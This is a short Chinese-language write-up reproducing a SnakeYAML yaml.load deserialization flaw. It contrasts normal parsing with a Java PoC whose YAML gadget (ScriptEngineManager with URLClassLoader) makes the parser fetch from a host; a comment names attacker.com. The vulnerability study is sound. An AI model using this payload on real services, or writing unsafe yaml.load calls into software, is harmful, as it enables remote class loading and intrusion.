yaml.load反序列化漏洞复现

0x00 正常的使用方式

代码如下:

1
2
3
4
5
6
7
8
9
10
import org.yaml.snakeyaml.Yaml;
public class Tester {
public static void main(String[] args) {
//正常的使用方式
String normal = "key: hello yaml";
Yaml yaml = new Yaml();
Object obj = yaml.load(normal);
System.out.print(obj);
}
}

注:所依赖的jar包的下载地址:Download snakeyaml-1.7.jar

控制台的打印结果如下:

1
{key=hello yaml}

0x01 漏洞复现

可触发反序列化漏洞的PoC代码如下:

1
2
3
4
5
6
7
8
9
10
import org.yaml.snakeyaml.Yaml;
public class Tester {
public static void main(String[] args) {
//可触发反序列化漏洞的使用方式
String malicious = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader "
+ "[[!!java.net.URL [\"http://127.0.0.1:8000\"]]]]";
Yaml yaml = new Yaml(); // Unsafe instance of Yaml that allows any constructor to be called.
Object obj = yaml.load(malicious); // Make request to http://attacker.com
}
}

在该PoC中,被Yaml对象的load方法调用的“yaml字符串”是被精心构造的恶意代码。在该PoC的反序列化过程中,会向http://127.0.0.1:8000发起网络请求。

复现步骤:
(1)搭建Python SimpleHTTPServer
如图所示:

SimpleHTTPServer.png

(2)运行PoC,观察运行结果

如图所示:

visit.png

由图可知,SimpleHTTPServer受到了访问GET请求,反序列化漏洞复现成功。

0x02 后记